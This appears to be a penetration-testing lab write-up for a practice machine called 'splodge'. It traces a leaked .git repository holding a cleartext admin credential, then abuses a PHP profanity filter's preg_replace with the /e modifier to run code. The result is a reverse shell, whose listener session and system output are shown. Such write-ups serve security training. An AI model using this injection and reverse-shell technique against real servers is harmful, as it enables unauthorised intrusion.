preg_replace


A hidden .git repository was found on the web server running on port 80, containing the source code of a custom PHP web application hosted on port 8080. Within this source code, a hard-coded credential in CLEARTEXT was discovered, which grants access to the login page to the admin panel.

The admin panel of the custom PHP web application includes a Profanity Filter that allows users to set a custom regex filter and a replacement word. While this filter is applied to the comment feature, it relies on PHP’s potentially dangerous preg_replace function to perform the replacement.

One of the online resources reveals that the PHP’s preg_replace function treats the replacement parameter as PHP code ONLY if e modifier is present, potentially leading to PHP code execution if both regex pattern and replacement strings are controlled by user.

<REGEX>/e

The e modifier in PHP regular expressions is a flag that is used in preg_replace to evaluate the replacement string as PHP code.

Setting the filter word, exec with the e modifier; /e This should make the backend PHP to treat the replacement strings as PHP code, executing the phpinfo function

Code execution confirmed

Exploitation


Setting the filter word, shell with the e modifier to invoke a reverse shell command via the shell_exec function in the replacement strings

Invoking

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/splodge]
└─$ nnc 1337
listening on [any] 1337 ...
connect to [192.168.45.221] from (UNKNOWN) [192.168.219.108] 54448
bash: no job control in this shell
bash-4.2$ whoami
whoami
nginx
bash-4.2$ hostname
hostname
splodge
bash-4.2$ /sbin/ifconfig
/sbin/ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.219.108  netmask 255.255.255.0  broadcast 192.168.219.255
        ether 00:50:56:9e:e3:9a  txqueuelen 1000  (Ethernet)
        RX packets 1310183  bytes 167364146 (159.6 MiB)
        RX errors 0  dropped 2190  overruns 0  frame 0
        TX packets 1009214  bytes 799042955 (762.0 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 16325  bytes 4140097 (3.9 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 16325  bytes 4140097 (3.9 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Initial Foothold established to the target system as the nginx account via exploiting the PHP’s preg_replace function.